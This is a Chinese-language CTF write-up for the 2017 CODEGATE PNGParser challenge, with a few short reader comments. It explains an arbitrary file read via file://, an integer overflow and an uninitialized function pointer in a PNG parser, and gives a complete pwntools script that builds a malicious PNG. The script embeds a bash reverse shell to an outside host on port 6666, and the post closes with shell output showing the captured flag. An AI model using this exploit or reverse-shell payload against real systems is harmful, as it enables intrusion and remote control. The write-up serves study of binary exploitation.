2017 CODEGATE CTF PNGParser writeup 发表于 2017-02-16 | 分类于 漏洞利用 | 4 条评论 # 1. 漏洞分析 网站中包含一个任意文件读的漏洞,把协议改成`file://`并在`url`处输入路径就可以进行任意读,传回来的时候经过了base64编码,解码即可,读取文件知道上传后的图片其实是让二进制程序进行解析 ```python def parser_run(png_data): f = tempfile.NamedTemporaryFile(delete=False) f.write(png_data) f.close() args = "./PNGParser %s" %(f.name) proc = Popen(args, stdout=PIPE, stderr=PIPE, stdin=PIPE, shell=True) out, err = proc.communicate() os.unlink(f.name) return out ``` 其实这是一个pwn题。。。通过逆向知道这是一个PNG解析程序,并存在多个漏洞。 ## 1.1 漏洞1(整数溢出) 这处是在解析数据的代码中 ```c signed int __cdecl parse_data(struct_parse_png *parse_chunk) { signed int v2; // [sp+34h] [bp-4h]@3 switch ( parse_chunk->parse_status ) { case 0xB: if ( !memcmp(&parse_chunk->chunk_size_big, &png_header, 8u) ) { parse_chunk->parse_status = 0xC; parse_chunk->read_size = 8; parse_chunk->read_offset = 0; parse_chunk->data_addr = parse_chunk + 4; goto LABEL_17; } v2 = 0; printf("INVALID PNG SIGNATURE\n"); break; case 0xC: parse_chunk->chunk_size = big_2_little(&parse_chunk->chunk_size_big); if ( !parse_chunk->chunk_size ) goto LABEL_12; if ( !strcmp(&parse_chunk->chunk_type, "PLTE") ) parse_chunk->chunk_data = malloc(parse_chunk->chunk_size); else parse_chunk->chunk_data = malloc(16 * parse_chunk->chunk_size); if ( parse_chunk->chunk_data ) { parse_chunk->parse_status = 0xD; parse_chunk->read_size = parse_chunk->chunk_size; parse_chunk->read_offset = 0; parse_chunk->data_addr = parse_chunk->chunk_data; goto LABEL_17; } v2 = 0; printf("CAN'T ALLOCATE MEMORY: %u bytes\n", parse_chunk->chunk_size); break; case 0xD: LABEL_12: parse_chunk->parse_status = 0xE; parse_chunk->read_size = 4; parse_chunk->read_offset = 0; parse_chunk->data_addr = parse_chunk + 12; goto LABEL_17; case 0xE: if ( ::parse_chunk(parse_chunk) ) { free_data(parse_chunk); parse_chunk->parse_status = 0xC; parse_chunk->read_size = 8; parse_chunk->read_offset = 0; parse_chunk->data_addr = parse_chunk + 4; LABEL_17: v2 = 1; } else { v2 = 0; } break; default: v2 = 0; printf("INTERNAL ERROR\n"); break; } return v2; } ``` 在第**26**行`malloc`内存时如果**chunk_size**过大就会造成整数溢出。 ## 1.2 漏洞2(未初始化) 这处是在输出`PLTE`类型的chunk的代码中 ```c signed int __cdecl print_plte(struct_part_chunk *chunk) { void (__cdecl **func_addr)(int); // [sp+40h] [bp-18h]@1 unsigned int rgb_size; // [sp+44h] [bp-14h]@1 unsigned int i; // [sp+48h] [bp-10h]@7 signed int v5; // [sp+50h] [bp-8h]@3 rgb_size = chunk->data_len / 3u; func_addr = malloc(4u); if ( chunk->data_len && !(chunk->data_len % 3u) ) { if ( chunk->data_len / 3u <= 0x100 ) *func_addr = print_PALETTE; else fputs("PLTE CHUNK LENGTH INVALID.\n", stderr); for ( i = 0; i < rgb_size; ++i ) { if ( i > 0x14 ) { printf("...\n"); break; } (*func_addr)((chunk->data[3 * i + 2] << 8) + (chunk->data[3 * i + 1] << 16) + (chunk->data[3 * i] << 24)); } v5 = 1; } else { v5 = 0; fputs("PLTE CHUNK LENGTH INVALID.\n", stderr); } return v5; } ``` 第**9**行`malloc`后并没有进行初始化,并且第**12**行的`if`判断失败后函数没有立即返回,这样就可能导致可以控制第**23**行的函数指针调用。 # 2. 漏洞利用 先说一个比较坑的地方,在Ubuntu 16.04中printf时会申请stdout的buffer,这样会导致堆布局更预想的不一样,并且命令行启的程序和`Popen`方式启的程序的buffer大小还不同,因此需要`Popen`启程序来调试。。。 总体思路:在top chunk上残留数据并使`malloc(4)`时从top chunk上分配,由于未初始化来控制函数指针使其为`system@plt`的地址,同时可以控制参数地址高位的3个字节`0xXXXXXX00`,再分析程序可以发现在输出`tEXt`类型的chunk时正好可以控制`0x0804E500`地址处的内容 ```c signed int __cdecl print_text(struct_part_chunk *chunk) { void *v2; // [sp+30h] [bp-28h]@1 unsigned int len; // [sp+34h] [bp-24h]@1 unsigned int n; // [sp+38h] [bp-20h]@1 int v5; // [sp+3Ch] [bp-1Ch]@10 unsigned int i; // [sp+40h] [bp-18h]@10 unsigned int j; // [sp+40h] [bp-18h]@15 unsigned int v8; // [sp+40h] [bp-18h]@18 unsigned int v9; // [sp+4Ch] [bp-Ch]@3 signed int v10; // [sp+54h] [bp-4h]@2 n = strlen(chunk->data); len = chunk->data_len; v2 = memchr(chunk->data, 0, chunk->data_len); if ( v2 ) { v9 = v2 - chunk->data; if ( memchr(v2 + 1, 0, chunk->data_len - (v9 + 1)) ) { v10 = 0; fputs("tEXt CHUNK INVALID.\n", stderr); } else if ( v9 <= 0x4F && v9 >= 1 ) { if ( n < 0x82 ) { memcpy(byte_804E45C, chunk->data, n); v5 = 0; for ( i = v9 + 1; i < chunk->data_len; ++i ) { if ( v5 == 0x82 ) { len = 0x82; break; } byte_804E4DE[v5++] = chunk->data[i]; } for ( j = 0; j < n; ++j ) printf("%c", byte_804E45C[j]); v8 = 0; printf(":"); while ( v8 < len ) printf("%c", byte_804E4DE[v8++]); v10 = 1; printf("\n"); } else { v10 = 0; } } else { v10 = 0; fputs("tEXt CHUNK LENGTH INVALID.\n", stderr); } } else { v10 = 0; fputs("tEXt CHUNK INVALID.\n", stderr); } return v10; } ``` 上面第**37**行对数组赋值时就可以控制`system`的参数内容。 下面是生成png的脚本 ```python from pwn import * import zlib,ctypes elf = ELF('./PNGParser') file_content = "89504E470D0A1A0A".decode('hex') file_content += p32(0xd, endian="big") head_content = "IHDR" head_content += "00000B04000005A60806000000".decode('hex') file_content += head_content file_content += p32(ctypes.c_uint32(zlib.crc32(head_content)).value, endian="big") command = "bash -c 'bash&>/dev/tcp/2032837031/6666<&1';" + "A" * 128 text = p32(elf.plt['system']) + "\x00" + "A" * 34 + command file_content += p32(len(text), endian="big") head_content = "tEXt" head_content += text file_content += head_content file_content += p32(ctypes.c_uint32(zlib.crc32(head_content)).value, endian="big") file_content += p32(0x80000001, endian="big") head_content = "PLTE" head_content += p32(0x804e500, endian="big") + 'A' * 1996 file_content += head_content file_content += p32(ctypes.c_uint32(zlib.crc32("PLTE")).value, endian="big") fp = open('./test.png','wb') fp.write(file_content) fp.close() ``` 特别要注意的是第**22**行的PLTE chunk的长度为`0x80000001`,看下读取数据时的代码 ```c int __cdecl parse_png(struct_parse_png *parse_png, int data, unsigned int data_len) { size_t readed_size; // [sp+Ch] [bp-2Ch]@4 int v5; // [sp+20h] [bp-18h]@1 unsigned int i; // [sp+24h] [bp-14h]@1 i = 0; v5 = 0; while ( i < data_len ) { if ( data_len - i >= parse_png->read_size - parse_png->read_offset ) readed_size = parse_png->read_size - parse_png->read_offset; else readed_size = 2000; strcmp(&parse_png->chunk_type, "PLTE"); memcpy((parse_png->read_offset + parse_png->data_addr), (i + data), readed_size); parse_png->read_offset += readed_size; i += readed_size; if ( parse_png->read_offset >= parse_png->read_size ) { v5 = parse_data(parse_png); if ( !v5 ) return 0; } } return v5; } ``` 上面第**11**行的是无符号判断,第**19**行是有符号判断,这样在`parse_chunk->chunk_data = malloc(16 * parse_chunk->chunk_size)`时就可以把之前释放的`fastbin`占位 ![image_1b93g9cq41vgs12uv1ab8nc314sl9.png-160.6kB][1] 然后在`func_addr = malloc(4u)`时从top chunk分配空间 ![image_1b93gkm221dmv144qpiv1opj16b913.png-151.6kB][2] 到`call eax`时执行`system` ![image_1b93gqdqq1bqgq1fo4h63raq1g.png-210kB][3] 最后成功反弹shell拿到flag ```shell ls -al total 52 drwxr-xr-x 4 root root 4096 Feb 9 08:46 . drwxr-xr-x 65 root root 4096 Feb 9 09:42 .. -rwsr-xr-x 1 root parser 22076 Feb 9 08:42 PNGParser -rw-r--r-- 1 root root 25 Feb 9 08:42 Th1s_1s_S3creT_F14g_F0r_YoU -rw-r--r-- 1 root root 1863 Feb 9 08:42 app.py -rw-r--r-- 1 root root 67 Feb 9 08:42 requirements.txt drwxr-xr-x 5 root root 4096 Feb 9 08:42 static drwxr-xr-x 2 root root 4096 Feb 9 08:42 templates cat Th1s_1s_S3creT_F14g_F0r_YoU FLAG{sh3_1s_b3t1fu1_#$%} ``` [1]: http://static.zybuluo.com/birdg0/8z430p9spak6nkw2leulhe0g/image_1b93g9cq41vgs12uv1ab8nc314sl9.png [2]: http://static.zybuluo.com/birdg0/5ledxyx3vb04mhdpe78ry1js/image_1b93gkm221dmv144qpiv1opj16b913.png [3]: http://static.zybuluo.com/birdg0/nw76cd8hpwt9aw3tfmzvjqh2/image_1b93gqdqq1bqgq1fo4h63raq1g.png
Excuse me.
Does 'file://app/PNGParser' work well?
protocol is file://
url is /app/PNGParser
学习了-。- 师傅分析的真好
^-^